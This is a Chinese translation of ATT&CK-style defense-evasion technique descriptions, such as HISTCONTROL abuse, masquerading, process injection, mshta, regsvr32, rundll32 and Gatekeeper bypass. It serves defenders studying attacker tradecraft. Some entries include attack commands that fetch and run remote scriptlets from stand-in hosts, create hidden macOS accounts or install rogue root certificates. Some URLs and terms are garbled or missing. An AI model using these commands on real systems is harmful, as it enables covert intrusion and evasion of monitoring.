HISTCONTROL 环境变量记录 history 命令保存的内容,并用户注销时保存到 ~/.bash_history 中。可以通过设置该配置为"ignorespace",从而忽略以空格开头的命令。也可以通过设置"ignoredups"使 HISTCONTROL 忽略重复的命令。在一些 Linux 系统中默认设置 HISTCONTROL 为"ignoreboth",它包括了前面的两个示例。这意味着不会保存" ls",但是"ls"将被 history 保存。默认情况下 HISTCONTROL 不在 macOS 上,但可以由用户设置,并受到尊重。­攻击者可以利用此进行操作而不留下任何痕迹,只需在所有终端命令前添加一个空格。

隐藏文件和隐藏目录

为了防止普通用户意外更改系统上的特殊文件,大多数操作系统都具有“隐藏”文件的概念。当用户使用GUI浏览文件系统或在命令行上使用常规命令时,这些文件不会显示。用户必须通过一系列图形用户界面(GUI)提示或使用命令行开关(dir/a对于Windows以及ls –a的Linux和macOS)明确要求显示隐藏文件。 攻击者可以利用此优势来隐藏系统上任何位置的文件和文件夹,以实现持久性,并逃避不包含对隐藏文件的调查的典型用户或系统分析。

隐藏用户

macOS 中的每个用户帐户都有一个与之关联的用户 ID。 在创建用户时,可以为该帐户指定用户 ID。 /Library/Preferences/com.apple.loginwindow 的 Hide500Users 属性可以在登录屏幕上隐藏用户 ID 500 及以下的用户。 通过创建用户 ID 小于 500 的账户并启用此属性(将其设置为 Yes),攻击者可以更容易地隐藏其用户帐户:sudo dscl . -create /Users/username UniqueID 401 。

隐藏窗口

属性列表 (plist) 文件中包含了应用程序在 macOS 和 OS X 上运行的配置列 apple.awt.UIElement 是这些文件的一个标签,它允许 Java 应用程序阻止应用程序的图标出现在 Dock 中。 当应用程序在系统托盘中运行但又不想在 Dock 中显示时,通常使用这种方法。 然而,攻击者可以滥用这个特性并隐藏他们的运行窗口 。

图像文件执行选项注入

图像文件执行选项(IFEO)使开发人员可以将调试器附加到应用程序。创建进程后,应用程序IFEO中存在的调试器将以该应用程序的名称为前缀,从而在调试器下有效地启动新进程(例如,“ C:\dbg\ ntsd.exe -g notepad.exe”)。

拦截指示器

攻击者可能试图拦截指示器或通常被传感器捕获的事件以避免被收集和分析。 这可能包括修改存储在配置文件和/或注册表项中的传感器设置,以禁用或恶意重定向事件遥测。 在基于网络的指示器报告的情况下,攻击者可能阻止与报告相关的流量以防止集中分析。 这可以通过许多方法来实现,例如停止负责转发遥测的本地进程和/或创建基于主机的防火墙规则,以阻止对负责聚合事件(如安全信息和事件管理 (SIEM) 产品)的特定主机的通信。

删除工具中的指示器

如果恶意工具被检测到并隔离或以其他方式限制,攻击者或许可以确定恶意工具被检测到的原因(指示器), 攻击者通过删除指示器来修改工具,并使用更新后的版本,该版本不再被当前目标或随后的可能使用类似系统的目标的防御系统检测到。 一个恰当的例子是,恶意软件的文件签名被检测到并被防病毒软件隔离。确定恶意软件因为其文件签名而被隔离的攻击者可以使用软件打包或以其他方式修改文件,使其具有不同的签名,然后重用该恶意软件。

删除主机上的指示器

攻击者可能会删除或更改主机系统上生成的工件,包括日志和可能被捕获的文件,如隔离的恶意软件。 日志的位置和格式会有所不同,但典型的有机系统日志会作为 Windows 事件或 Linux/macOS 文件被捕获,如 Bash History 和/var/log/*。 干扰事件和其他可用于检测入侵活动的通知的操作可能会损害安全解决方案的完整性,导致无法报告事件。 这些操作也可能使取证分析和事件响应更加困难,因为缺乏足够的数据来确定发生了什么。

间接命令执行

可以使用各种 Windows 实用程序执行命令而不需要调用 cmd。 例如,Forfiles、程序兼容性助手、适用于 Linux 的 Windows 子系统 (WSL) 的组件以及其他实用程序可以通过命令行界面、运行窗口或脚本执行程序和命令。 攻击者可能会滥用这些实用程序来规避防御,特别是为了任意执行而破坏用于限制/阻止 cmd 使用的检测和/或缓解措施(如组策略)。

安装根证书

根证书在公钥加密中用于标识根证书颁发机构 (CA)。 安装根证书后,系统或应用程序将信任由根证书签名的根信任链中的证书。 证书通常用于在 Web 浏览器中建立安全的 TLS / SSL 通信。 当用户试图浏览不可信证书的网站时,将显示错误消息以警告用户安全风险。 浏览器可能不允许用户与网站建立连接,取决于安全设置。 在被攻击的系统上安装根证书会提供攻击者一种降低该系统安全性的方式。 当被攻击的系统通过 HTTPS 连接到攻击者控制的欺骗合法网站以收集登录凭据的 web 服务器时,攻击者使用该技术来避免出现提示用户的安全警告。 非典型根证书也已由制造商或在软件供应链阶段预先安装在系统上,并与恶意软件/广告软件结合使用,以提供拦截通过安全 TLS / SSL 通信传输的信息的中间人功能。 还可以克隆和重新安装根证书(及其相关链)。 克隆的证书链将携带许多与源相同的元数据特征,可用于签署恶意代码,这可以绕过签名验证工具(例如: Sysinternals, antivirus, etc.) 用于阻止执行和/或发现持久化组件。 在 macOS 中,Ay MaMi 恶意软件使用/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/ keychain /System 将恶意证书作为受信任的根证书安装到系统密钥链中。

InstallUtil

InstallUtil 是一个命令行实用程序,它允许通过执行。net 二进制文件中指定的特定安装程序组件来安装和卸载资源。 InstallUtil 位于 Windows 系统的。NET 目录中: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe 和C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe 具有 Microsoft 的数字签名。 攻击者可以通过受信的 Windows 实用程序使用 InstallUtil 来代理代码的执行。 通过利用执行由
修饰的类的二进制文件中的属性,InstallUtil 还可用于来绕过进程白名单。

LC_MAIN劫持

从OS X 10.8开始,mach-O二进制文件引入了一个名为LC_MAIN的新头文件,该头文件指向二进制文件的执行入口。以前,有两个标头可实现相同的效果:LC_THREAD和LC_UNIXTHREAD。二进制文件的入口点可以被劫持,从而使初始执行流到恶意添加项(另一个部分或代码入口),然后返回到初始入口点,以使受害者不知道有什么不同。通过以这种方式修改二进制文件,可以绕过应用程序白名单,因为文件名或应用程序路径仍然相同。

Launchctl

Launchctl 控制 macOS 的启动进程,该进程处理诸如启动代理和启动守护进程之类的事情,但是可以自己执行其他命令或程序。 Launchctl 支持交互地在命令行上获取子命令,甚至可以从标准输入重定向。 通过加载或重新加载启动代理或启动守护进程,攻击者可以获得持久性或执行他们 所做的更改。 从 launchctl 运行命令就像 launchctl submit -l - /Path/to/thing/to/execute "arg" "arg" "arg" "arg"一样简单。 可能需要提升特权才可以加载、卸载或重新加载启动代理或启动守护进程。 如果系统允许 launchctl,攻击者可以滥用此功能来执行代码,甚至绕过白名单。

伪装

伪装是指攻击者为了规避防御和观察而篡改或滥用可执行文件(合法或恶意)的名称或位置。目前已经发现该技术的几种不同变体。 一种变体是将可执行文件放在一般可信目录中,或将其命名为合法可信程序的名称。另外,设置的文件名可能与合法程序的很像。这样做是为了绕过那些依赖文件名或路径来判断可执行文件是否可信的工具,同时将某一文件的名字与合法的东西相关联,从而使防御者和系统管理员误以为该文件是良性。 A.Windows 在该技术的另一个变体中,攻击者可以使用合法实用程序的重命名副本,例如 rundll32.exe。 当合法实用程序移动到另一个目录并重命名以避免基于系统实用程序的检测(程序从非标准路径执行)会出现另一种情况。 在 Windows 中滥用可信位置的例子是C:\Windows\System32目录。可以将恶意二进制文件命名为可信二进制文件的名称,如“explorer.exe”和“svchost.exe”。 B.Linux 此技术的另一种变体包括某些恶意二进制文件,它们不是在启动之前,而是在启动后将其运行进程的名称更改为可信或良性进程的名称。 在 Linux 中滥用可信位置的一个示例是/bin目录。可以将恶意二进制文件命名为可信二进制文件的名称,如“rsyncd”和“dbus-inotifier”。

修改注册表

攻击者可以与 Windows 注册表交互以隐藏注册表项中的配置信息,删除信息作为清理的一部分,或者作为其他技术的一部分,帮助实现持久化和执行。 对注册中心特定区域的访问取决于帐户权限,有些需要管理员级别的访问权限。 内置的 Windows 命令行实用程序 Reg 可用于本地或远程修改注册表。 也可以使用其他工具,如远程访问工具,这些工具可能包含通过 Windows API 与注册表交互的功能(参见示例)。 注册表修改还可能包括用于隐藏键的操作,例如使用空字符添加键,这会引发错误和/或在通过 Reg 或其他使用 Win32 API 的实用程序读取时忽略该键。 攻击者可能会滥用这些伪隐藏密钥来隐藏用于建立持久性的 payload/命令。 可以修改远程系统的注册表以帮助执行文件,作为横向移动的一部分。 它要求远程注册表服务在目标系统上运行。 此技术通常需要有效帐户,以及访问远程系统的 Windows 管理共享来进行 RPC 通信。

Mshta

Mshta.exe 是一个执行 Microsoft HTML 应用程序 (HTA) 的实用程序。 HTA 文件的扩展名是 .hta。 HTAs 是独立的应用程序,使用与 Internet Explorer 的相同模型和技术执行,但不在浏览器内。 攻击者可以使用 mshta.exe 通过受信任的 Windows 实用程序代理执行恶意。hta 文件和 Javascript 或 VBScript。 已有几个在初始攻击和代码执行阶段利用 mshta.xe 的不同类型的威胁样例。 文件可以由 mshta.exe 通过内联脚本执行:mshta vbscript:Close(Execute(“GetObject(”“script:https
//webserver/payload
sct”“)”)) 也可以直接通过 URL: mshta http
//webserver/payload
hta 执行 Mshta.exe 可用于绕过允许其运行的应用程序白名单解决方案。 因为 mshta.exe 在 Internet Explorer 的安全上下文外执行,它还绕过浏览器的安全设置。

NTFS 文件属性

每个 New Technology File System(NTFS) 格式化的分区都包含一个主文件表 (MFT),它为分区上的每个文件/目录维护一条记录。在 MFT 条目中有文件属性, 如扩展属性(EA)和数据
,可用于存储任意数据(甚至完整的文件)。 攻击者可以将恶意数据或二进制文件存储在文件属性元数据中,而不是直接存储在文件中。这可以用来规避一些防御,例如静态指示器扫描工具和防病毒。

网络共享连接移除

当不再需要时,可以删除 Windows 共享驱动器和 Windows 管理共享连接。 Net 是示例实用程序,可以用于通过 net use \system\share /delete 命令删除网络共享连接。 攻击者可以删除无用的共享连接,以清除其操作的痕迹。

混淆的文件或信息

攻击者可能尝试通过在系统上或传输中加密,编码或以其他方式混淆其内容来使得可执行文件或文件难以发现或分析。这是常见的用于规避防御的行为,可以在不同平台和网络中使用。 攻击者可以压缩,存档或加密 Payload 以避免检测。在初始访问期间或之后使用这些 Payload 可以降低被检测到的概率。在用户执行阶段时,可能需要用户打开和反混淆/解码文件或信息。还可能要求用户输入密码以打开由攻击者提供的受密码保护的压缩/加密文件。 攻击者还可以使用压缩或归档的脚本,例如 Javascript。 还可以对部分文件进行编码以隐藏纯文本字符串,否则这些字符串将有助于防御者的发现。 也可以将 Payload 分成独立的,看似良性的文件,只有在重新组合时恶意功能才会显示。 攻击者还可以混淆 在 Payload 中或直接通过命令行界面执行的命令。混淆环境变量,别名,字符和其他平台/语言特定语义可规避基于签名的检测和白名单机制。 另一个混淆的例子隐写术,一种隐藏图像,音轨,视频剪辑或文本文件中的消息或代码的技术。最早为人所知的和报道的攻击者使用围绕 Invoke-PSImage 的隐写术。Duqu 恶意软件从受害者的系统中加密收集的信息并将其隐藏到图像中,然后将图像窃取到 C2 服务器。 到 2017 年底,一个攻击者组织使用 Invoke-PSImage 将 PowerShell 命令隐藏在图像文件(png)中,并在受害者系统上执行代码。在这种特殊情况下,PowerShell 代码包含了了另一个混淆的脚本,以从受害者的机器收集情报并将其传回给攻击者。

修改 Plist

属性列表 (plist) 文件包含 macOS 和 OS X 中应用程序和服务所有配置信息。 这些文件采用 UTF-8 编码并像 XML 文档一样通过一系列由<>包围的键来格式化。 它们详细说明了程序应该在何时执行、可执行文件的路径、程序参数、所需的操作系统权限以及许多其他内容。plists 位于特定的位置,这取决于它们的用途,例如 /Library/Preferences(使用高级特权执行)和/Library/Preferences(使用用户的特权执行)。 攻击者可以修改这些 plist 文件以指向自己的代码,可以利用它们在另一个用户的上下文中执行自己的代码,可以绕过白名单,甚至可以利用它们实现持久化。

端口试探

端口试探是一种较为成熟的技术,目的是隐藏开放的端口以控制访问,攻击者和防御者均可使用。 为了启用端口,攻击者需发送一系列具有特定特征的数据包。 通常,这些数据包包含关闭端口预定义的尝试序列(译者注:称为敲门序列),这可能涉及不常见的标志、特定的字符串或其他特征。 完成序列,通常由基于主机的防火墙开启端口,但也可以由自定义软件打开。 在动态开启监听端口和在不同系统上启动与监听服务器的连接时,都可以见到该技术。 可以通过不同的方法观察引发通信的数据包。 一种方法(最初由 Cd00r 实现)是使用 libpcap 库嗅探有问题的包。 另一种方法利用了原始套接字,这使得恶意软件可以使用供其他程序使用的开放端口。

Process Doppelgänging

Windows 事务性 NTFS (TxF) 作为一种执行安全文件操作的方法引入 Vista。 为了确保数据的完整性,TxF 在给定的时间只允许一个事务句柄写文件。 在写句柄事务终止之前,其他所有句柄都与写句柄隔离,只能读取打开写句柄时已提交的文件版本。 为了避免损坏,如果系统或应用程序在写事务期间失败,TxF 将自动执行回滚。 尽管不宜使用 TxF 应用程序编程接口 (API),但在 Windows 10 中仍然启用了。 攻击者可以利用 TxF 来执行进程注入 (Process Injection) 的无文件变体,即 Process Doppelgänging。 与进程镂空 ( Process Hollowing) 类似,Process Doppelgänging 涉及替换合法进程的内存,实现可能规避防御和检测的恶意代码的隐藏执行。 Process Doppelganging 利用 TxF 时还避免使用被高度监控的 API 函数,如 NtUnmapViewOfSection、VirtualProtectEx 和 SetThreadContext。 Process Doppelgänging 分 4 步实现,: A.事务:使用合法可执行文件创建 TxF 事务,然后使用恶意代码覆盖该文件。 这些更改将被隔离,并且仅在事务上下文中可见。 B.加载:创建共享内存段并加载恶意可执行文件。 C.回滚:撤消对原始可执行文件的更改,有效地从文件系统中删除恶意代码。 D.Animate:从受污染的内存段创建进程并启动执行。

进程镂空

进程镂空指的是创建一个挂起的进程,取消其内存映射并替换成恶意代。与进程注入类似,恶意代码的执行也隐藏在合法进程之下,可以规避防御和检测分析。

进程注入

进程注入是一种在独立活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码会允许代码访问进程的内存、系统/网络资源,以及可能提升的特权。由于合法进程掩盖了(注入进程的)执行,因此通过进程注入执行也可规避对安全产品的检测。 A.Windows 将代码注入实时进程有多种方法。Windows 下的实现包括: - 动态链接库 (DLL) 注入涉及在进程中写入恶意 DLL 的路径,然后通过创建远程线程调用执行。 - 可移植性可执行注入包括将恶意代码直接写入进程(磁盘上没有文件),然后使用附加代码或创建远程线程调用执行。注入代码的替换要求重新映射内存引用。这种方法的变体,如反射 DLL 注入(将自映射 DLL 写入进程)和内存模块(写入进程时映射 DLL),解决了了地址重定位问题。 - 线程执行劫持涉及将恶意代码或 DLL 路径注入进程的线程。与进程镂空类似,首先必须挂起线程。 - 异步过程调用 (APC) 注入涉及将恶意代码附加到进程线程的 APC 队列 。当线程进入可变状态时,执行在 APC 队列的函数。APC 注入的一种变体为"Early Bird 注入",它涉及到创建一个挂起的进程,在进程的入口点(以及可能随后的反恶意软件钩子)之前,通过 APC 编写和执行恶意代码。 AtomBombing 是另一种变体,它利用 APC 调用以前编写到全局原子表的恶意代码。 - 线程本地存储 (TLS) 回调注入涉及操作可移植性可执行文件 (PE) 中的指针,以便在到达代码的合法入口点之前将进程重定向到恶意代码。 B.Mac 和 Linux Linux 和 OS X/macOS 系统的实现包括: - LD_PRELOAD、LD_LIBRARY_PATH (Linux)、DYLD_INSERT_LIBRARIES (Mac OS X) 环境变量或 dlfcn 应用程序编程接口 (API) 可用于动态加载进程中的库(共享对象),该库可用于拦截运行进程中的 API 调用。 - Ptrace 系统调用可用于附加到正在运行的进程并在运行时修改它。 - /proc/
/mem 提供对进程内存的访问,可用于对进程读写任意数据。因其复杂性,该技术十分少见。 - VDSO 劫持通过操作 linux-vdso.so 共享对象映射的桩代码,在 ELF 二进制文件上执行运行时注入。 恶意软件通常利用进程注入来访问系统资源,通过这些资源可以获得持久性和修改其他环境。 更复杂的示例:使用命名管道或其他进程间通信 (IPC) 机制作为通信通道,执行多进程注入来分割模块并进一步规避检测。

冗余访问

攻击者可以使用多个具有不同命令与控制协议的远程访问工具来规避检测。 如果一种类型的工具被检测到并被屏蔽或删除,而组织没有完全了解攻击者的工具和访问权限,那么攻击者将能够维持对网络的访问权限。 攻击者还可能试图获得对有效帐户的访问权,以使用外部远程服务(如外部 vpn) 来维护访问权限,尽管目标网络中部署的远程访问工具会受到干扰。 可以使用 Web Shell 来凭借外部可访问的 Web 服务器维持对某一网络的访问权限。

Regsvcs/Regasm

Regsvcs 和 Regasm 是 Windows 命令行实用程序,用于注册。NET 组件对象模型 (COM) 程序集。 两者都是由 Microsoft 进行数字签名的。 攻击者可以使用 Regsvcs 和 Regasm 通过受信任的 Windows 实用程序代理代码的执行。 这两个实用程序都可以通过使用二进制文件中的属性来指定在注册或取消注册前应运行的代码,从而绕过白名单: 分别为

。 具有注册和取消注册属性的代码将被执行,即使进程在权限不足的情况下运行且无法执行。

Regsvr32

Regsvr32.exe 是一个命令行程序,用于在 Windows 系统上注册和取消注册对象链接和嵌入控件,包括动态链接库 (DLLs)。 Regsvr32.exe 可用于执行任意二进制文件。 攻击者可以利用此功能来代理代码的执行,以避免触发安全工具,由于 Windows 使用 regsvr32.exe 进行正常操作时的白名单或误报,这些工具可能无法监视 regsvr32.exe 进程的执行和加载的模块。 Regsvr32.exe 也是 Microsoft 签名的二进制文件。 Regsvr32.exe 还可以利用加载 COM scriptlet 以在用户权限下执行 DLL 的功能来绕过进程白名单。 由于 regsvr32.exe 支持网络和代理,因此可以通过在调用期间将统一资源定位符 (URL) 作为参数传递到外部 Web 服务器上的文件来加载脚本。 此方法不对注册表做任何更改,因为 COM 对象实际未注册,仅执行。 该技术的变体通常被称为“Squiblydoo”攻击,并已用于针对政府的活动中。 还可以利用 Regsvr32.exe 来注册用于通过组件对象模型劫持(Component Object Model Hijacking)建立持久性的 COM 对象。

Rootkit

Rootkit 是通过拦截(即 Hooking)和修改提供系统信息的操作系统 API 调用来隐藏恶意软件存在的程序。 Rootkit 或 rootkit 启用功能可以驻留在操作系统中的用户或内核级别或更低级别,以包括 Hypervisor,主引导记录或系统固件。 攻击者可以使用 rootkit 来隐藏程序,文件,网络连接,服务,驱动程序和其他系统组件。Rootkit 已经在 Windows,Linux 和 Mac OS X 系统出现过。

Rundll32

可以调用 rundll32.exe 程序来执行任意二进制文件。由于 Windows 使用 rundll32.exe 进行正常操作时会有白名单或误报,攻击者可以利用此功能来代理代码的执行,以避免触发可能未监控 rundll32.exe 进程执行的安全工具的检测。­ Rundll32.exe 可通过未记录的 shell32.dll 的 Control_RunDLL 和 Control_RunDLLAsUser 函数来执行控制面板项文件(.CPL)。双击。cpl 文件也可以执行 rundll32.exe。Rundll32 也可用于执行 JavaScript 等脚本。这可以使用类似的语法来完成:rundll32.exe javascript: " ..,RunHTMLApplication ";document.write();GetObject("script:https
/www
example
. com malicious.sct ")"在恶意软件(例如 Poweliks)中已有这种行为。

SIP和信任提供者劫持

在用户模式下,Windows Authenticode 数字签名用于验证文件的来源和完整性,这些变量可用于建立对签名代码的信任(例如:可以将具有有效Microsoft签名的驱动程序视为安全的)。签名验证过程是通过WinVerifyTrust应用程序编程接口(API)函数处理的,该函数 接受查询并与负责验证签名参数的适当信任提供者进行协调。 由于可执行文件的类型和相应的签名格式各不相同,Microsoft创建了称为主题接口包(SIP)软件组件,以在API函数和文件之间提供抽象层。SIP负责使API函数能够创建,检索,计算和验证签名。大多数文件格式(可执行文件,PowerShell,安装程序等,都具有唯一的SIP,目录签名提供了一个包罗万象的 ),并且由全局唯一标识符(GUID)标识。

脚本

攻击者可以使用脚本来帮助操作并执行多个操作,否则需要手动执行这些操作。脚本编写对于加速操作任务和减少访问关键资源所需的时间非常有用。一些脚本语言可以通过API与操作系统交互而不是调用其他程序来绕过进程监控机制。Windows的常用脚本语言包括VBScript和PowerShell,但也可以采用命令行批处理脚本的形式。 脚本可以作为宏嵌入到Office文档中,当打开鱼叉式钓鱼附件和其他类型的鱼叉式钓鱼的文件时,可以执行这些宏。恶意的内嵌宏是一种替代的执行方式,而不是利用客户端执行技术(Exploitation for Client Execution)来利用软件,在客户端执行中,攻击者将依赖于允许使用的macos或者用户愿意激活它们。 存在许多流行的攻击框架,它们使用与安全测试人员和攻击者脚本相似的形式。、和PowerSploit是在渗透测试人员中常见的用于攻击和后渗透攻击操作的三个例子,其中包括许多用于规避防御的功能。已知一些攻击者使用PowerShell。

签名的二进制代理执行

具有可信数字证书签名的二进制文件可以在受数字签名验证保护的 Windows 系统上执行。 Windows 安装中默认的几个 Microsoft 签名二进制文件可以用于代理其他文件的执行。 攻击者可能会滥用此行为来执行恶意文件,从而绕过系统上的应用程序白名单和签名验证。 该技术考虑了在现有技术中尚未考虑的代理执行方法。

签名脚本代理执行

具有可信证书签名的脚本可用于代理恶意文件的执行。 这种行为可能会绕过签名验证限制和不考虑这些脚本的应用程序白名单解决方案。 由 Microsoft 签名的 PubPrn.vbs 可用于代理远程站点的执行。 示例命令:cscript C
\Windows\System32\Printing_Admin_Scripts\en-US\pubprn
vbs 127.0.0.1 script:http
//192.168.1.100/hi.png 还有一些其他签名脚本可以以类似的方式使用。

软件打包

软件打包是一种压缩或加密可执行文件的方法。打包可执行文件会更改文件签名,以避免基于签名的检测。大多数解压缩技术将内存中的可执行代码解压缩。 用于执行软件打包的实用程序称为打包程序。例如 MPRESS 和 UPX。已有广泛的打包程序列表 ,但攻击者可以创建自己的打包技术,这些技术不会像众所周知的打包程序那样留下相同的工件,以规避防御。

文件名后的空格

攻击者可以通过更改文件的扩展名来隐藏程序的真正文件类型。对于某些文件类型(特别地,对于拓展名。app 并不适用),在文件名后面追加一个空格将改变操作系统处理该文件的方式。例如,如果有一个名为 evil.bin 的 Mach-O 可执行文件,当用户双击时,它会启动 Terminal.app 并执行。如果该文件被重命名为 evil.txt。然后,当用户双击时,它将启动默认的文本编辑应用程序(不执行二进制文件)。但是,如果文件被重命名为"evil.txt "(注意文件名后的空格)。然后当用户双击时,真正的文件类型取决于操作系统,文件会被恰当处理,同时对应的二进制文件将被执行 。 攻击者可以利用这个特性欺骗用户双击任何格式的看起来友好的文件,并最终执行一些恶意的操作。

模板注入

Microsoft的Open Office XML(OOXML)规范为Office文档(.docx,xlsx,.pptx)定义了一种基于XML的格式,以替换较旧的二进制格式(.doc,.xls,.ppt)。OOXML文件打包在一起,是由各种XML文件(称为部分)构成的ZIP归档文件,其中包含共同定义文档呈现方式的属性。 零件内的属性可以引用通过在线URL访问的共享公共资源。例如,模板属性引用一个文件,该文件用作预先格式化的文档蓝图,该文件在加载文档时获取。 攻击者可能会滥用该技术来最初隐藏要通过文档执行的恶意代码即Scripting(T1064))。加载到文档中的模板引用可以使恶意有效载荷能够在加载文档时获取并执行。这些文档可以通过其他技术(例如,鱼叉式附件(T1193)和/或污染共享内容)(T1080)进行传递,并且由于没有典型的指示符(VBA宏,脚本等),直到获取了恶意有效载荷之后,才可以避开静态检测。在野外已经看到了一些示例,在这些示例中,模板注入被用来加载包含漏洞的恶意代码。

Timestomp

Timestomp 是一种修改文件时间戳(修改,访问,创建和更改时间)的技术,通常用于模拟同一文件夹中的文件。该技术可以用在攻击者修改或创建的文件上,使得它们在取证调查人员或文件分析工具面前更加隐蔽。Timestomp 可以与文件名伪装(Masquerading)结合使用来隐藏恶意软件和工具。

受信任的开发人员工具

有许多用于软件开发相关工作的实用程序可以用来以多种形式执行代码,以帮助开发、调试和逆向工程。 这些实用程序通常具有合法证书的签名,这些证书使它们可以在系统上执行,并通过可以有效地绕过应用程序白名单防御解决方案的可信进程来代理执行恶意代码。 A. MSBuild MSBuild.exe (Microsoft Build Engine) 是 Visual Studio 使用的软件构建平台。 它使用 XML 格式的项目文件,这些文件定义了构建各种平台和配置的需求。 攻击者可以使用 MSBuild 通过受信的 Windows 实用程序代理代码的执行。 .NET 版本 4 中引入的 MSBuild 的内联任务功能允许将 c#代码插入到 XML 项目文件中。 内联任务 MSBuild 将编译并执行内联任务。 MSBuild.exe 是由 Microsoft 签名的二进制文件,因此当以这种方式使用它时,可以执行任意代码并绕过配置为允许 MSBuild.exe 的应用程序白名单防御。 B. DNX .NET 执行环境 (DNX), DNX.exe 是随 Visual Studio Enterprise 打包的软件开发工具包。 它在 2016 年被淘汰,取而代之的是。NET Core CLI 。 DNX 不存在于 Windows 的标准版本中,并且可能只存在于使用旧版。NET Core 和 ASP.NET Core 1.0 的开发人员工作站上。 可执行文件 dnx.exe 由 Microsoft 签名。 攻击者可以使用 DNX. exe 代理执行任意代码,以绕过允许 DNX 执行的应用程序白名单策略。 C. RCSI Rcsi.exe 实用程序是用于 c#的非交互式命令行接口,类似于 csi.exe。 Roslyn.net 编译器平台的早期版本提供 Rcsi.exe,但是在集成解决方案中弃用了。 rcsi.exe 由 Microsoft 签名。在命令行上使用 rcsi.exe 编写和执行 c# .csx 脚本文件。 攻击者可以使用 rcsi.exe 来代理执行任意代码,从而绕过允许 rcsi.exe 执行的应用程序白名单策略。 D. WinDbg /CDB WinDbg 是一个 Microsoft Windows 内核和用户模式调试工具。Microsoft Console Debugger (CDB) cdb.exe 也是用户模式调试器。 这两个实用程序都在 Windows 软件开发工具包中,可以作为独立的工具使用。它们通常用于软件开发和逆向工程,在典型的 Windows 系统中可能找不到。 WinDbg.exe 和 cdb.exe 都是由 Microsoft 签名的。攻击者可以使用 WinDbg.exe 和 cdb.exe 来代理任意代码的执行,从而绕过允许这些实用程序执行的应用程序白名单策略。 其他调试器也可以用于类似的目的,比如内核模式调试器 kd.exe,它也由 Microsoft 签名。 E. Tracker 文件跟踪器 tracker.exe,作为 MSBuild 的一部分包含在。NET 框架中。它用于记录对 Windows 文件系统的调用。 攻击者可以利用 tracker.exe 将任意 DLL 的执行代理到其他进程中。 tracker.exe 也具有签名,因此可以使用它来绕过应用程序白名单解决方案。

有效帐户

攻击者可以使用凭据访问技术窃取特定用户或服务帐户的凭据,或者通过社会工程在早期侦察过程中获取凭据,以获取初始访问权限。 被盗取的凭据可以用于绕过对网络内系统上各种资源的访问控制,甚至可能用于对远程系统和外部可用服务(如 vpn、Outlook Webaccess 和远程桌面)的持久性访问。被盗取的凭据还可能给攻击者提供特定系统的更高权限,或对网络的受限区域的访问权。攻击者可能会选择不把这些凭据提供的合法访问与恶意软件或工具结合使用,使其更加隐蔽。 攻击者也可以创建帐户,有时使用预定义的帐户名称和密码,作为在其他方法失败时通过备用访问获得持久性的一种方法。 跨系统网络的凭据和权限的重叠令人担忧,因为攻击者可能能够跨帐户和系统实现高级别访问(例如,域或企业管理员) ,以绕过企业内设置的访问控制。

Web 服务

攻击者可以使用现有的合法外部 Web 服务将命令转发到受攻击系统。 这些命令还可以包括指向命令与控制 (C2) 基础结构的指针。攻击者可能会在带有嵌入式(通常是混淆/编码的)域名或 IP 地址的 Web 服务上发布内容,即所谓的死点解析器。一旦感染,受害者就会主动接触这些解析器,并被它们重新引导。 作为 C2 机制的流行网站和社交媒体可能会提供大量的掩护,因为在达成攻击之前,网络中的主机可能已经在与它们进行通信。使用常见的服务,比如 Google 或 Twitter 提供的服务,可以让攻击者更容易地隐藏在预期的干扰中。Web 服务提供者通常使用 SSL/TLS 加密,这为攻击者提供了额外的保护。 使用 Web 服务还可以通过恶意软件二进制分析保护后端 C2 基础设施不被发现,同时还可以支持操作弹性(因为这个基础设施可能会动态更改)。

XSL 脚本处理

可扩展样式表语言 (XSL) 文件通常用于描述 XML 文件中的数据处理和渲染方式。 为了支持复杂的操作,XSL 标准包括对各种语言的嵌入式脚本的支持。 攻击者可能会滥用此功能来执行任意文件,同时可能会绕过应用程序白名单防御。 与可信的开发人员实用程序 (Trusted Developer Utilities) 类似,可以安装 Microsoft 命令行转换实用程序 (msxsl.exe),并使用它来执行嵌入在本地或远程(通过 URL 引用的)XSL 文件中的恶意 JavaScript。 因为在默认情况下不会安装 msxsl.exe ,攻击者可能需要将其与删除的文件打包。

Gatekeeper 绕过

在macOS和OS X中,从Internet下载应用程序或程序时,在名为的文件上设置了特殊属性com.apple.quarantine。苹果的Gatekeeper防御程序会在执行时读取此属性,并向用户提示允许或拒绝执行。 从USB闪存驱动器,光盘,外部硬盘驱动器甚至从本地网络共享的驱动器加载到系统上的应用程序都不会设置此标志。此外,其他实用程序或事件(例如“路过”下载)也不一定要对其进行设置。这完全绕过了内置的Gatekeeper检查。
的检疫标志的存在可以通过XATTR命令检查xattr /path/to/MyApp.app了com.apple.quarantine。类似地,给定sudo访问权限或提升的权限,也可以使用xattr删除此属性sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app。 在典型操作中,文件将从互联网上下载并被隔离,然后保存到磁盘。当用户尝试打开文件或应用程序时,macOS的网守将介入并检查此标志的存在。如果存在,则macOS会提示用户确认他们要运行该程序,甚至会提供应用程序来源的URL。但是,所有这些都基于从隔离应用程序下载的文件。

执行Guardrails

执行Guardrail会根据目标提供的特定于对手的环境特定条件来限制执行或操作。 Guardrail确保仅对预定目标执行有效载荷,并减少敌方战役造成的附带损害。对手可以提供的有关用作Guardrail的目标系统或环境的值可能包括特定的网络共享名称,附加的物理设备,文件,已加入的Active Directory(AD)域以及本地/外部IP地址。 环境密钥是一种类型的Guardrail,包括用于从给定计算环境中的特定类型的值派生加密/解密密钥的加密技术。值可以从特定于目标的元素派生,并用于为加密的有效负载生成解密密钥。特定于目标的值可以从特定的网络共享,物理设备,软件/软件版本,文件,已加入的AD域,系统时间以及本地/外部IP地址中得出。通过从特定于目标的环境值生成解密密钥,环境密钥可以使沙箱检测,反病毒检测,信息众包和逆向工程变得困难。这些困难可能会减慢事件响应过程的速度,并帮助对手隐藏其战术,技术和程序(TTP)。 